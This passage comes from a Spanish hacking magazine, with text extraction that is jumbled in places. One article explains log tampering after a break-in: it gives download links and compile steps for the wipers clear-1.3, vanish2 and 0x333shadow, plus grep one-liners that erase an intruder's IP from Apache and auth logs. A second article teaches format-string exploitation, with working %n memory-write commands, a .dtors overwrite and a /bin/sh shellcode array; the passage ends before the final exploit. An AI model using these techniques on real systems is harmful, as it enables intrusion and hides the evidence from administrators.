determinada facility y con una prioridad
es: logger -p facility.priority Mensaje.
Esto aparte de por si queremos que un
shellscript pueda loguear, no le veo
mucha ms utilidad, pero bueno seguro
que vuestra imaginacin es mejor que
la ma :).

31

C o n e s t o ya h e m o s a c a b a d o c o n
Syslogd... ya era hora eh! Nada, ahora
vamos a ver lo que supongo que estaris
esperando... la edicin y el borrado de
logs!

Realmente esto no tiene mucho misterio,


ya que tenemos muchas herramientas
que nos facilitan la tarea de editar y
borrar los logs, estas herramientas se
llaman zappers.
Cuando los logs son de texto plano lo
podemos hacer nosotros mismos, con
cat y grep se pueden hacer maravillas
(ahora veremos algn ejemplo), pero
para los binarios lo tenemos ms difcil,
por eso necesitamos los zappers ;).
Vamos a ver tres zappers, el clear-1.3
del conjunto de utilidades thc-uht del
grupo THC, el 0x333shadow del grupo
0x333 y el vanish2 de Neo the
Hacker.
Para instalar clear-1.3 debemos bajar
el thc-uht (THC-UnixHackingTools) de
http://www.thc.org/download.php?t=r
&f=thc-uht1.tgz y descomprimirlo, una
vez descomprimido veremos muchas
utilidades, entre ellas habr un archivo
comprimido llamado clear-1.3.tar.gz,
lo descomprimimos (tar xvfz clear1.3.tar.gz) y nos crear una carpeta

llamada clear-1.3 con un Makefile, un


README y dos archivos C (clear13a.c y
clear13b.c). Tenemos que compilarlos,
p e r o a n t e s va m o s a h a c e r u n a s
pequeas modificaciones a los archivos
C poniendo la ruta correcta de nuestros
archivos log. Para esto editamos primero
el fichero clear13a.c y las constantes
WTMP_NAME,
UTMP_NAME
y
LASTLOG_NAME las cambiamos a la ruta
donde tenemos los logs en nuestro
sistema, normalmente /var/log (para
wtmp y lastlog) y /var/run/utmp (para
utmp). Nos quedara as:(ver figura
7).

varias veces, mejor utilizar el clear13a


de golpe y ya est. Otro ejemplo de uso
de clear13b sera si el usuario ya exista,
hemos adivinado la pass y hemos
entrado con ese usuario, borramos solo
el ltimo log para no levantar sospechas
dejando los anteriores como estaban.
La sintaxis es muy sencilla, simplemente
./clear13[ab] nombre_de_usuario,
siendo [ab] el clear13a o el clear13b,
lo dicho anteriormente.

Guardamos y cerramos. Con el


clear13b.c hacemos lo mismo. Despus
vamos a la consola, entramos al
directorio donde tenemos el clear-1.3
y tecleamos make para compilarlos.
Si no hay ningn problema ya lo
tendremos compilado. Os estaris
preguntando que diferencia hay entre
clear13a y clear13b... Pues bien, los
dos borran los logs del usuario que le
pases como argumento en la lnea de
comandos, pero clear13a borra TODAS
las entradas de ese usuario, mientras
que clear13b solo borra la ltima
entrada. Uno puede ser til para unas
situaciones y el otro para otras, por
ejemplo si hemos comprometido la
mquina y nos hemos logueado una sola
vez podemos utilizar el clear13b, si en
cambio hemos estado utilizndola como
dump, o bouncer, y nos hemos logueado

./clear13a hackxcrack -> Borrar todas


las entradas del usuario hackxcrack.

Figura 7

Ejemplos:
./clear13b hackxcrack -> Borrar la
ltima entrada del usuario hackxcrack.

El vanish2 es ms completito, le pasas


el usuario, el hostname y la IP que
quieres borrar y los busca por todos
esos ficheros, y cuando lo localiza... se
lo carga :) Lo podis bajar de
http://packetstorm.linuxsecurity.com/
UNIX/penetration/log-wipers
/vanish2.tgz, lo nico que habr que
editar el fichero vanish2.c y en todas
las funciones exit() que salen aadir un
0 al parntesis, si no dar error al
compilarlo. Os lo podis bajar ya
compilado de www.hackxcrack.com
/programas/vanish2.zip, pero lo he
compilado con la ruta de mis logs de
apache2, que es /var/log/apache2, si
tenis esta misma ruta pues adelante
si no editarlo a mano y aadirle los 0 a
las funciones exit().
Su sintaxis es sencilla: ./vanish2
<user> <host> <IP>, como root. Este
zapper busca en los archivos WTMP,
UTMP, lastlog, messages, secure,
xferlog, maillog, warn, mail,
httpd.access_log, y httpd.error_log.
Ejemplo:
./vanish2
hackxcrack
HxC
212.124.113.53 -> Borrar todos los
logs que contengan el usuario
hackxcrack, o el host HxC o la IP
212.124.113.53
El 0x333shadow es bastante ms
completo que los dos anteriores, lo
bajamos
de
http://packets
tormsecurity.org/UNIX/penetration/logw i p e r s / 0 x 3 3 3 s h a d o w . t a r. g z , l o

32

descomprimimos y lo compilamos con


gcc 0x333shadow.c -o 0x333shadow D Linux. Es capaz de matar syslogd, y
por defecto busca en los directorios
/var/log, /var/adm, /usr/adm, /var/mail.
El uso y sus opciones lo podis ver
vosotros mismos ejecutndolo sin ningn
parmetro, pero lo voy a explicar de
todas formas, por si las dudas :P
Su sintaxis es: ./0x333shadow [accin]
-i [cadena] -l [segundos] -m [dir1/
archivo1] [dir2/archivo2] [...]
Accin: Pueden ser dos opciones, -a
o -b. El primero limpia los directorios
por defecto que tengan la cadena que
especifiquemos. El segundo lo mismo
que el primero, pero este solo limpiar
los logs binarios (utmp, wtmp, utmpx,
wtmpx y lastlog).

-m podemos especificar archivos log


que hayamos visto en el sistema y que
el programa no los conozca, o si los
logs estn en otro directorio. Podemos
especificar ms de un archivo/directorio,
separados por un espacio.
Ejemplos:
./0x333shadow -i 212.124.113.53 -m
/var/log/apache2/access.log -> Borrar
todos los logs de la IP 212.124.113.53
del archivo access.log del Apache2.
./0x333shadow -b -i hackxcrack -l 30 > Borrar todos los logs del usuario
hackxcrack en los archivos de log
binarios cuando pasen 30 segundos.
./0x333shadow -a -i hackxcrack ->
Borrar todo log que contenga la cadena
hackxcrack.

Cadena: Lo que queremos que borre


en caso de que coincida esta cadena,
por ejemplo nuestra IP.
Segundos: Da la posibilidad de que
empiece la limpieza de logs pasados los
segundos que especifiquemos, esto es
til porque podemos desloguearnos y
esto har que limpie el logout tambin.
Dir1/archivo1...: Gracias al parmetro

PON AQU

/var/log/apache2/access.log | grep -v
NUESTRAIP >/var/log/apache2
/access.log, o para borrar nuestros
intentos de logueo cat /var/log/auth.log
| grep -v NUESTROUSER >/var/log/
auth.log, y as con los que queramos.
El parmetro -v de grep lo que hace
es no mostrar las coincidencias.

Bueno pues ya hemos visto lo ms


bsico de logs en GNU/LiNUX y UniX en
general, nos hemos dejado cosas como
la rotacin de logs, logcheck, pero yo
creo que con esto y Google es suficiente,
de todas formas si tenis inters decirlo
en el foro y se hace una ampliacin...
Si os han quedado dudas, por favor
decirlo en el foro y yo o los dems
usuarios intentaremos aclararlas, pero
no os quedis con ellas ;) La url del foro
e s : h t t p : / / w w w. h a c k x c r a c k . c o m /
phpBB2/index.php

Los logs de texto plano podemos


modificarlos a mano, o desde un
shellscript creado por nosotros, tan solo
con programas tpicos de unix cat o
grep. Un ejemplo podra ser borrar los
logs de Apache, podramos hacer: cat

Sin ms, hasta otra!!


Ivn Alcaraz
<ivanalcaraz@telefonica.net>
DiSTuRB

TU PUBLICIDAD

Contacta DIRECTAMENTE con


nuestro coordinador de publicidad

610 52 91 71
precios desde

INFRMATE
sin compromiso!

99 euros
33

Ya estoy aqu de nuevo ;-). Despus de aprender en los dos artculos anteriores cmo explotar
un buffer overflow, tanto en la pila como en el Heap (memoria dinmica), hoy vamos a analizar
un tipo de vulnerabilidad diferente. Se trata de un fallo de programacin descubierto
recientemente (comparado con los desbordamientos de buffer), relativo al uso de las llamadas
cadenas de formato o format strings en ingls. Durante el artculo veremos cmo se usan las
cadenas de formato, qu funciones hacen uso de ellas, y cmo no debemos usarlas para evitar
dichas vulnerabilidades en nuestros programas. Adems, aprenderemos a explotar dichos
errores de programacin, tratando de conseguir ejecutar cdigo arbitrario en nuestras
aplicaciones ;-). Vamos al grano.

Las cadenas de formato son unas cadenas de carac-teres


utilizadas por ciertas funciones, llamadas funciones de
formato, para especificar el formato de su salida por
pantalla. As, tenemos la familia de funciones de printf,
entre las cuales encontramos las funciones printf, sprintf,
fprintf, que utilizan uno de sus argumentos como cadena
de formato, para especificar el formato en el que se
escribir la salida por pantalla, en otra cadena, o en un
archivo respectivamente.
As pues, veamos un ejemplo para ver qu pinta tiene
una cadena de formato:(ver listado 1).

Listado 1

34

En este cdigo puedes ver dos cadenas de formato. La


del primer printf no es realmente una cadena de formato,
pues en realidad es una cadena normal, sin cdigo de
formato alguno. nicamente lleva un carcter especial,
\n, que sirve para especificar un salto de lnea. Sin
embargo, la segunda llamada a printf s que contiene una
cadena de formato propiamente dicha. Vamos a ver en
detalle lo que contiene dicha cadena.
En primer lugar, identificamos los llamados especificadores
de conversin (al menos as son llamados en la pgina
del manual de la funcin printf en mi sistema). stos son
los bloques de caracteres compuestos por el signo %,
seguido de una o varias letras que identifican el tipo de
variable a escribir por pantalla (en el caso de printf). Cada
uno de estos especificadores va asociado a una de las
variables que se pasan como parmetro justo despus de
la cadena de formato. As, el %d va asociado a la variable
i, el %f a la variable f, %c a la variable a, y %s a la
variable cad. De esta forma, cuando printf se ejecute,
sustituir el valor de dichos especificadores por el valor
de las variables correspondientes, segn el cdigo de
formato especificado.
En la tabla 1 puedes ver los cdigos de formato ms

de formato. Por tanto, si queremos


mostrar el entero que se ha pasado
como tercer parmetro (la variable c en
este caso), pondremos %3$d en la
cadena de formato.
Ahora s, pasemos a ver cul es el
problema de las cadenas de formato si
las utilizamos mal ;-).

Tabla 1
tuxed@athenea:~/Artculos HxC/art3$ gcc ejemplo1.c -o ejemplo1
tuxed@athenea:~/Articulos HxC/art3$ ./ejemplo1
Soy una cadena de formato :-P
i= 10

f=2.560000 a=X cad="Hola!"

Lalalala probando el identificador %n


Escritos= 38
tuxed@athenea:~/Articulos HxC/art3$

Listado 2

Listado 3
usuales, su significado, y el tipo de
variable que esperan. En el campo Tipo
de Variable, se especifica el modo en
que se pasa el argumento. Cuando
pasamos una variable a una funcin, su
valor se copia en la pila, por lo que se
llama paso de parmetros por valor. Si
lo que pasamos es un puntero a una
variable, lo que se guarda en la pila es
una direccin de memoria, y esto se
llama paso de parmetros por referencia.
Por tanto, en dicho campo se ha diferenciado entre valor y referencia, respectivamente. Por otra parte, cuando digo
Imprime por pantalla en la tabla, es
porque me baso en la funcin printf, pero
otras funciones imprimen en una cadena,
un archivo, u otros sitios (Tabla 1).
Conviene notar el identificador especial
%n. Dicho identificador, como la tabla
indica, no imprime nada por pantalla,
sino que escribe en la direccin de memoria pasada como argumento el nmero
de caracteres que se ha mostrado hasta
el momento. Este identificador es importante para nosotros, pues como veremos
ms adelante, nos va a permitir escribir
en memoria lo que deseemos :-).
Adems de esto, el conversor puede
especificar otras cosas, como el ancho

m n i m o d e l c a m p o. Po r e j e m p l o,
podemos poner %8x para especificar
que como mnimo se van a imprimir por
pantalla 8 caracteres. Ojo porque este
valor es mnimo, y si ponemos un valor
de caracteres menor que el real, se
imprimir el real, y no el mnimo.
Sabiendo todas estas cosas, ya sabemos
perfectamente qu es lo que nos van a
devolver las llamadas a printf del
ejemplo anterior. Vamos a compilar y
ejecutar para comprobar que pasa lo
que todos creemos que pasa ;-) :(ver
listado 2)
Parece que s, verdad? :-). Bien, creo
que ahora todos sabemos cmo
funcionan las cadenas de formato, as
que ya podemos ponernos a investigar
por debajo de ellas. Sin embargo, antes
de ello os voy a explicar un detallito
ms, que puede que nos sea til ms
adelante. Dicho detalle no es ms que
podemos acceder directamente a un
parmetro determinado de la funcin
de formato, mediante una simple
modificacin en la cadena de formato.
Es lo que se llama Direct Parameter
Access, y se utiliza as:

Pues bien, el problema con las cadenas


de formato es muy simple. Cuando
usamos una funcin como printf para
imprimir una cadena alojada en una
variable determinada, segn lo visto
anteriormente, lo que debemos hacer
es lo siguiente:
printf(%s, la_cadena);
Sin embargo, puesto que la funcin
printf imprime tambin la cadena de
formato (sustituyendo los conversores
especificados por variables), alguien
puede pensar que podramos omitir el
primer parmetro (la cadena de formato
en s), y llamar a printf con un nico
argumento (en este caso, nuestra
variable la_cadena). Suena bastante
lgico, y funciona. Sin embargo, si la
variable la_cadena es proporcionada
por el usuario, nadie le impide poner
cdigos de formato en ella, verdad?
Pues con esta cosa tan simple, ya
podemos hacer que el programa falle y
se cierre, o incluso como veremos ms
adelante, podremos ejecutar cdigo
arbitrario :-P.
Antes de ponernos a ver realmente cmo
hacerlo, probemos a crear un programita
simple con un fallo de este tipo, y a
pasarle la cadena de formato que
queramos. Simplemente tomaremos el
primer argumento del programa y lo
pasaremos a printf directamente, sin
hacer nada ms. El cdigo ser ste:
(ver listado 3)

printf(%3$d,a,b,c);
D e e s t a m a n e ra , s i t e n e m o s u n
identificador de formato, por ejemplo
%d, pondremos %X$d, siendo X el
nmero de parmetro que queremos
que sea utilizado por dicho conversor

Compilamos y ejecutamos un par de


veces con distintos especificadores de
formato, a ver qu pasa:(listado 4)
Como se puede apreciar, al especificar
algn conversor de formato, printf lee

35

tuxed@zeus:/tmp$

gcc

ejemplo2.c

-o

ejemplo2

tuxed@zeus:/tmp$ ./ejemplo2 "int: %d "


int: -1073743042 tuxed@zeus:/tmp$ ./ejemplo2 "float: %f"
float: 0.000000tuxed@zeus:/tmp$ ./ejemplo2 "hexa: %x "
hexa: bffffb3d tuxed@zeus:/tmp$

Listado 4
tuxed@zeus:/tmp$ ./ejemplo2 "AAAA: %x.%x.%x.%x.%x "
AAAA: bffffb31.4.0.41414141.7825203a tuxed@zeus:/tmp$

Listado 5
tuxed@zeus:/tmp$ ./environm SHELL
La variable SHELL est en la direccin 0xbffffb6b
tuxed@zeus:/tmp$ ./ejemplo2 "`printf "\x6b\xfb\xff\xbf"`. %4\$s "
k. /bin/bash tuxed@zeus:/tmp$

Listado 6
un valor de la memoria, y lo imprime
en el lugar adecuado de la cadena de
formato. Pero, de dnde salen esos
valores? Si has ledo el primero de mis
artculos, pensando un poco lo podrs
adivinar. Si no lo has ledo, ahora mismo
te explico un poco el tema ;-).
Cuando llamamos a una funcin, los
parmetros de sta se guardan en la
pila del sistema. As, cuando la funcin
necesita acceder a algn parmetro,
accede a la pila y recoge su valor. As
pues, cuando en una cadena de formato
especificamos un conversor de formato,
pero no hay un parmetro asociado, lo
que estamos haciendo es leer directamente de la pila. De esta forma, podemos leer la pila del programa vulnerable,
haciendo algo as:(listado 5)
Como ves, hemos ledo 5 nmeros de
32 bits en hexadecimal, gracias al
parmetro %x. Si quisiramos haber
ledo ms datos, habramos puesto ms
veces el conversor %x, y obtendramos
los datos de la pila. Sin embargo, no
slo existe la pila en un proceso, y en
otras secciones de la memoria puede
haber datos realmente interesantes, as
que algo habr que inventar para leer
memoria de cualquier lugar.

Si te fijas en el listado 5, vers que en


la respuesta, el cuarto %x se ha
sustituido por el valor 0x41414141.

36

Como algunos ya sabis, el nmero


0x41 (el 65 en decimal) es el cdigo
ASCII de la letra A, as que lo que ha
salido como cuarto parmetro es el valor
AAAA, que son los cuatro primeros bytes
de nuestra cadena de formato. Justo
despus, viene el cdigo ASCII de los
cuatro caracteres siguientes:
0x7825203a . Si buscas en cualquier
tabla ASCII (como la de www.ascii
table.com ) podrs ver que el carcter
: tiene el cdigo 0x3a, el espacio es el
0x20, y as sucesivamente (ten en
cuenta que la memoria es little-endian,
con lo que los bytes de menor peso se
guardan primero, y por eso en cada
valor mostrado los bytes estn
invertidos).
As pues, si pusiramos un %s en el
cuarto parmetro en lugar de un %x, el
programa tratara de leer en la direccin
0x41414141, puesto que %s lee de la
direccin de memoria especificada como
parmetro. Por tanto, si al principio de
la cadena de formato ponemos una
direccin de memoria, y luego pasamos
el especificador de formato %4$s,
leeremos lo que haya en esa posicin
(nos lo mostrar como una cadena).
Probemos a localizar una variable de
entorno cualquiera, por ejemplo la
variable SHELL, y leerla mediante la
cadena de formato:(listado 6)
En la salida anterior debis tener en
cuenta que el smbolo $ es interpretado
por la shell bash como el inicio del
nombre de una variable, y por ello lo
hemos tenido que escapar con el
carcter \.En sta se puede observar

que la variable shell, localizada en


0xbfffb6b, contiene la cadena /bin/bash.
El programa environm es el cdigo env.c
utilizado en los artculos anteriores,
compilado y guardado como environm,
puesto que tiene los mismos caracteres
que el nombre del programa vulnerable
(para no tener que sumar ni restar nada
a la direccin devuelta :-P ). En el foro
puedes encontrar tanto ste como todos
los dems cdigos que utilizo en mis
artculos ;-).
Adems debes tener en cuenta que para
poner la direccin de memoria, he usado
el comando printf de la shell bash, y la
sustitucin de caracteres de bash.
Tambin poda haber usado perl, tal y
como hicimos en los artculos anteriores.
Bien, ahora ya sabemos leer cualquier
c a d e n a q u e h aya a l m a c e n a d a e n
memoria, pero... qu ms nos puede
interesar? Si recuerdas el artculo
a n t e r i o r, c u a n d o h a b l a m o s d e
desbordamientos en el Heap, vimos que
stos no posibilitaban escribir cualquier
cosa en una direccin de memoria a
nuestra eleccin. Vimos entonces que
esto nos poda servir para lograr ejecutar
cdigo en el proceso vctima, pudiendo
as conseguir ejecutar una shell con los
privilegios de dicho proceso.
Pues bien, con las cadenas de formato
podemos conseguir exactamente lo
mismo, o incluso ms ;-). Vamos a ver
en la siguiente seccin cmo escribir en
memoria.

Esto se pone interesante :-). Queremos


escribir algo en memoria mediante una
cadena de formato y una llamada a
printf, se te ocurre algo? Te propongo
que retrocedas un poco y mires otra
vez en la tabla que puse con los distintos
especificadores de formato, a ver si
alguno te da una pista de cmo podemos
escribir datos en memoria ;-).
Bien, ahora que ya has ledo de nuevo
la tabla, habrs visto que el nico
identificador que permite escribir en
memoria es el %n, verdad? Como la
tabla muestra, dicho identificador escribe

en la direccin de memoria recibida


como parmetro, la cantidad de datos
que se han sacado por pantalla hasta
el momento. Entonces, si queremos
escribir un nmero determinado en una
direccin de memoria determinada, slo
tenemos que escribir dicha direccin de
memoria, escribir tantos caracteres
como sean necesarios para llegar a dicho
nmero, y utilizar el operador %n sobre
el principio de nuestra cadena de
formato.
No s si me he explicado bien, pero creo
que con un ejemplo os quedar claro.
Para ver esto, vamos a usar una versin
modificada del ejemplo anterior, en la
que hemos agregado una variable con
un valor determinado, y la mostraremos
por pantalla. As podremos comprobar
en tiempo real qu es lo que estamos
sobrescribiendo.(listado 7)
Bien, sobre este cdigo, vamos a
intentar modificar la variable i. Para
ello, primero ejecutaremos el programa
con una lnea cualquiera como
parmetro, para ver la direccin de
i:(listado 8)
Como puedes observar, la variable i
est en la direccin 0x0849560 (he
agregado el 0 delante porque no tena
los 8 caracteres que tocaban) y tiene

el valor 0xfffffffc (-4 codificado en


complemento a dos). Pues bien,
tratemos de modificar el valor de dicha
variable. Como he dicho, tenemos que
pasar la direccin de la variable, y luego
el especificador %n aplicado al cuarto
parmetro (esto es, la propia cadena
de formato):(listado 9)
Como ves, el valor de la variable i se
ha modificado por 4. En realidad, el
valor que ha tomado es 0x00000004,
que es la codificacin del nmero entero
4, y ste es a su vez el nmero de
caracteres que hay antes del %4$n.
Pero, cmo hacemos para escribir el
valor que nosotros queramos? Pues
vamos a hacerlo mediante cuatro
escrituras sucesivas en memoria,
escribiendo en cada una de ellas un byte
arbitrario.
Sin embargo, de momento solo sabemos
escribir un 0x04 en la direccin que
queramos. Cmo escribimos otro byte?
Pues es bastante ms fcil de lo que
pueda parecer. Solo tenemos que escribir
tantos caracteres antes de realizar la
escritura como el nmero que queremos
escribir menos cuatro.
Pero imagina que quieres escribir el
va l o r 0 x F F, d e b e r a s p o n e r 0 x F B
caracteres entre la direccin de memoria
y el cdigo %4$n, y esto sera un poco
cansino repetirlo 4 veces, no? Pues bien,
tenemos una solucin muy simple ;-).
Se trata de poner un cdigo de formato
que especifique un ancho mnimo del

campo ( padding o relleno), como he


explicado al principio. As, si queremos
escribir un 0x0C (valor 12 en decimal),
debemos poner un relleno de 8
caracteres, con lo que pondramos lo
siguiente:(listado 10)
Como puedes observar, el efecto ha
sido el deseado. As pues, ya sabemos
escribir el byte que deseemos,
solamente utilizando un padding
determinado en el identificador %x de
nuestra cadena de formato.
Ahora veamos qu pasa si queremos
e s c r i b i r, p o r e j e m p l o , e l v a l o r
0xDDCCBBAA en la variable i. Teniendo
en cuenta el hecho de que los datos se
codifican en little-endian en la
arquitectura Intel x86, tendremos que
poner el byte menos significativo en la
primera posicin de memoria, despus
el segundo menos significativo, y as
sucesivamente.
Adems, como estamos escribiendo un
entero del cual solo se utiliza un byte,
habr tres bytes nulos en las posiciones
de memoria contiguas a las que nos
interesan, quedando las escrituras en
memoria como indica la imagen 1. En
ella puedes ver el estado de la memoria
despus de las sucesivas escrituras en
memoria. Los signos XX indican un
estado desconocido de la memoria.

Listado 7
tuxed@zeus:/tmp$ gcc ejemplo3.c -o ejemplo3
tuxed@zeus:/tmp$

./ejemplo3

lalala

lalala
i en 0x8049560 : fffffffc
tuxed@zeus:/tmp$

Listado 8
tuxed@zeus:/tmp$ ./ejemplo3 "`printf "\x60\x95\x04\x08"`%4\$n"`
#
i en 0x8049560 : 4
tuxed@zeus:/tmp$

Listado 9
tuxed@zeus:~/art3$ ./ejemplo3 "`printf "\x60\x95\x04\x08"`%8x%4\$n"`
bffffb2f
i en 0x8049560 : c
tuxed@zeus:~/art3$

Listado 10

Imagen 1
Bien, puesto que queremos realizar
cuatro escrituras en memoria, debemos
proporcionar cuatro direcciones de
memoria correlativas. Como la variable
i est en 0x08049560, tendremos que
poner desde sta a la direccin
0x08049563. As pues, las direcciones
de memoria escribirn 16 bytes (0x10
en hexadecimal). Para escribir el primer
byte (0xAA) deberemos escribir en
memoria 0xAA 0x10 = 0x9A (154
decimal). As pues, debemos poner un
relleno de 154 y luego un %4$n.

37

tuxed@zeus:~/art3$ ./ejemplo3 "`printf "\x60\x95\x04\x08\x61\x95\x04\x08\x62\x95


\x04\x08\x63\x95\x04\x08"`%154x%4\$n%17x%5\$n%17x%6\$n% 17x%7\$n"
`ab c bffffb09 4 0 8049560
i en 0x8049560 : ddccbbaa
tuxed@zeus:~/art3$

Listado 11
tuxed@zeus:~/art3$ ./ejemplo3 "`printf "\x60\x95\x04\x08\x61\x95\x04\x08\x62\x95
\x04\x08\x63\x95\x04\x08"`%205x%4\$n%239x%5\$n%239x%6\$n% 239x%7\$n"
` ab c bffffb06 40 8049560
i en 0x8049560 : aabbccdd
tuxed@zeus:~/art3$

Listado 12
static void inicio(void) __attribute__ ((constructor));
static void final(void) __attribute__ ((destructor));

Listado 13
tuxed@zeus:~/art3$ objdump -h ejemplo3
ejemplo3:

formato del fichero elf32-i386

Secciones:
Ind Nombre

Tamao

VMA LMA Desp fich Alin

[...]
17 .ctors

00000008 08049630 08049630 00000630 2**2

CONTENTS, ALLOC, LOAD, DATA


18 .dtors

00000008 08049638 08049638 00000638 2**2

CONTENTS, ALLOC, LOAD, DATA


19 .jcr 00000004 08049640 08049640 00000640 2**2
CONTENTS, ALLOC, LOAD, DATA
20 .got 0000001c 08049644 08049644 00000644 2**2
CONTENTS, ALLOC, LOAD, DATA
[...]
tuxed@zeus:~/art3$

Listado 14

iguales, los siguientes (0xCC y 0xDD)


se calculan exactamente igual, y el
resultado es el siguiente:(listado 11)
El resultado es, efectivamente, el deseado :-). Ahora bien, como has visto,
hemos tenido la suerte (porque lo he
preparado as :-P ) de que cada valor a

Imagen 2

e s c r i b i r e r a m a y o r q u e e l va l o r
inmediatamente posterior, con lo que
la diferencia era positiva, y aumentando

Para poder escribir los siguientes


valores, habr que poner un relleno de
(valor siguiente) (valor actual). En
este caso, 0xBB 0xAA = 0x11 (17
decimal). Despus pondremos el
identificador de formato que realizar
la escritura en memoria, %5$n en este
caso, pues queremos coger la segunda
direccin de memoria proporcionada en
la cadena de formato.

el relleno dicha diferencia, conseguimos

Para no aburriros con ms clculos

truco:

38

Qu pasar si en lugar de poner 0xAA


cogemos y ponemos 0x1AA ?
Evidentemente, el byte que a nosotros
nos interesa, que es el de menos peso,
sigue siendo el mismo, y conseguiremos
un valor superior a, por ejemplo, 0xBB.
Con esto, aumentando el valor del byte
de la izquierda en uno sucesivamente,
vamos a conseguir escribir valores
mayores al que acabamos de escribir,
pudiendo as realizar cualquier escritura
en memoria :-). Esta vez el estado de
la memoria ser un poco diferente, como
puedes ver en la Imagen 2.
Vamos pues a ver cmo podemos
escribir el valor 0xAABBCCDD en la
variable i. Debemos tener en cuenta
que esta vez lo primero a escribir es
DD, luego el primer relleno es 0xDD
0x10 = 0xCD (205 decimal). Para los
siguientes, otra vez tenemos la misma
distancia de unos a otros: 0x1CC 0xDD
= 0x2BB 0x1CC = 0x3AA 0x2BB =
0xEF ( 239 decimal) , con lo que ya podemos realizar la escritura:(listado 12)
Una vez ms, obtenemos el resultado
deseado :-). Ahora ya somos capaces,
mediante un error en el uso de las
cadenas de formato de un determinado
programa, de escribir un valor arbitrario
de 32 bits (ms 3 bytes nulos que no
tendremos en cuenta :-P ) en cualquier
lugar del espacio direccional (la
memoria) de ese proceso. As pues, qu
podemos hacer? Los que lesteis mi
anterior artculo en esta misma revista,
ya tendris una idea de dnde atacar,
pero como seguro que alguien no lo ha
ledo, voy a volver a mostrar cmo
modificar la GOT (Global Offset Table)
para redirigir el flujo de nuestro
programa. Pero tranquilo, que si ya
sabes hacerlo, todava tienes algo nuevo
en este artculo: modificacin de la
seccin .dtors del ejecutable ;-).

escribir lo que deseamos. Pero, y si


esto no ocurre, y un valor es inferior al
inmediatamente anterior? Pues no
podramos hacerlo, puesto que no
podemos poner desplazamientos
negativos... O s podramos escribirlo?
Pues s, pero no del mismo modo. Para
realizar la escritura en este caso,
tendremos que valernos de un pequeo

He decidido explicar primero esta seccin


y dejar para el final del artculo el tema
de la modificacin de la GOT para que
los que lesteis el artculo anterior no
os durmis :-P. As, podis seguir
leyendo el artculo y luego si a alguien

le interesa recordar lo de la GOT, pues


ah lo tiene.
Bien, cuando compilamos con gcc, al
crear un ejecutable en formato ELF
(Executable and Linkng Format) se
aaden un par de secciones llamadas
.ctors y .dtors al archivo resultante. En
la primera de ellas, se almacenan las
direcciones de las funciones definidas
con el atributo constructor, mientras
que en la segunda las de las funciones
definidas con el atributo destructor.

tuxed@zeus:~/art3$ objdump -s ejemplo3 -j .dtors


ejemplo3:

formato del fichero elf32-i386

Contenido de la seccin .dtors:


8049638 ffffffff 00000000 ........

Listado 15
char scode[]="\x31\xc0\x50\x68\x2f \x2f \x73\x68\x68\x2f \x62\x69\x6e\x89
\xe3\x50\x54\x53\x50\x8c\xe0 \x21\xc0\x74\x04\xb0\x3b\xeb\x07\xb0\x0b\x99\x52
\x53\x89\xe1\xcd\x80";

Listado 16
tuxed@zeus:~/art3$ printf "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\
x89\xe3\x50\x54 \x53\x50\x8c\xe0\x21\xc0\x74\x04\xb0\x3b\xeb\x07\xb0\x0b\x99\
x52\x53\x89\xe1\xcd\x80">scode

Las funciones definidas como constructores, son ejecutadas justo antes del
main(), mientras que las funciones
definidas como destructores, se ejecutan
justo antes de la salida del programa.
Para definir un constructor o un destructor, deberemos hacerlo as: (listado 13)
As estaramos declarando la funcin
inicio como constructor, y la funcin
final como destructor. Bien, pero... qu
pintan los constructores y destructores
en todo esto? Vamos a echar un ojo al
programa compilado antes (cdigo
ejemplo3.c) mediante la aplicacin
objdump a ver si encontramos la seccin
.dtors y .ctors:(listado 14)
En la salida anterior (recortada)
podemos observar que las secciones
llamadas .ctors, .dtors y .got son
secciones en las que se puede escribir
(de lo contrario estaran marcadas con
el atributo READONLY. Adems, sabemos
que las direcciones de los destructores
estn en .dtors, y que adems stos
son llamados SIEMPRE al finalizar el
programa.
Sin embargo, nosotros no hemos creado
ningn destructor en el ejemplo3.c, pero
ah aparece la seccin (aunque como
luego veremos est vaca). As pues,
podemos concluir que estas secciones
aparecen en cualquier binario ELF
compilado con gcc, aunque el
programador no haya puesto ningn
constructor/destructor.
Bien, y qu es lo que incluye dicha
seccin? O mejor dicho, Cmo se
incluyen las direcciones de las funciones
en dicha seccin? Qu formato se
sigue? Vamos a echarle un ojo a la

tuxed@zeus:~/art3$ export SCODE=`cat scode`;


tuxed@zeus:~/art3$ gcc env.c -o environm
env.c: En la funcin `main':
env.c:6: aviso: asignacin se crea un puntero desde un entero sin una conversin
tuxed@zeus:~/art3$ ./environm SCODE
La variable SCODE est en la direccin 0xbffffb13
tuxed@zeus:~/art3$

Listado 17
seccin .dtors del ejemplo3, y veremos
su formato ;-) : (listado 15)
Como puedes observar, la seccin .dtors
del programa ejemplo3, mapeada en
memoria en la direccin 0x08049638,
empieza con un 0xFFFFFFFF y acaba
con un 0x00000000. Esto es as porque
esta vez no tenemos ningn destructor.
Sin embargo, si tuvisemos
destructores, sus direcciones apareceran
correlativamente entre 0xFFFFFFFF y
0x00000000. As pues, cuando vaya a
salir nuestro programa, lo que har ser
irse a la seccin .dtors, y empezar a
hacer llamadas a las direcciones que se
encuentran justo detrs del 0xFFFFFFFF
(direccin de .dtors + 4) hasta llegar al
0x00000000. Por tanto, si nosotros
modificamos el 0x00000000 con la
direccin de nuestro cdigo mquina
(shellcode), tendremos como resultado
la ejecucin de dicho cdigo justo antes
de que el programa atacado termine ;-)
As pues, vamos a probar a hacerlo.
Como hemos visto en la salida del
comando objdump, tenemos la seccin
.dtors en la direccin 0x08049638, as
que tendremos que escribir en
0x0804963c la direccin de nuestra
shellcode.
Una vez ms, voy a usar la misma
shellcode, y el mismo mtodo para

almacenarla y localizarla en memoria.


Aqu os muestro la propia shellcode en
el formato de array de caracteres:(listado 16)
Y en los siguientes comandos, la creacin
del archivo scode con ella, la creacin
de una variable de entorno donde
alojarla, y la localizacin de sta
mediante el programa env.c que podis
encontrar junto con los dems paquetes
en el siguiente post del foro:
http://www.hackxcrack.com/phpBB2/
viewtopic.php?p=177492 ;-). Ten en
cuenta que he compilado con el nombre
environm (misma longitud que
ejemplo3) debido a la variacin de la
posicin de las variables de entorno con
el nombre del programa. Si quieres ms
detalles sobre esta variacin, puedes
leerlos en el artculo publicado en el
nmero 27 sobre desbordamientos de
buffer en la pila. Aqu van los
comandos:(listado 17)
Bien, una vez localizada, ya sabemos
qu hay que escribir y dnde hay que
hacerlo. As pues, solo nos queda llevarlo
a la prctica ;-) Vamos a realizar los
clculos por anticipado:
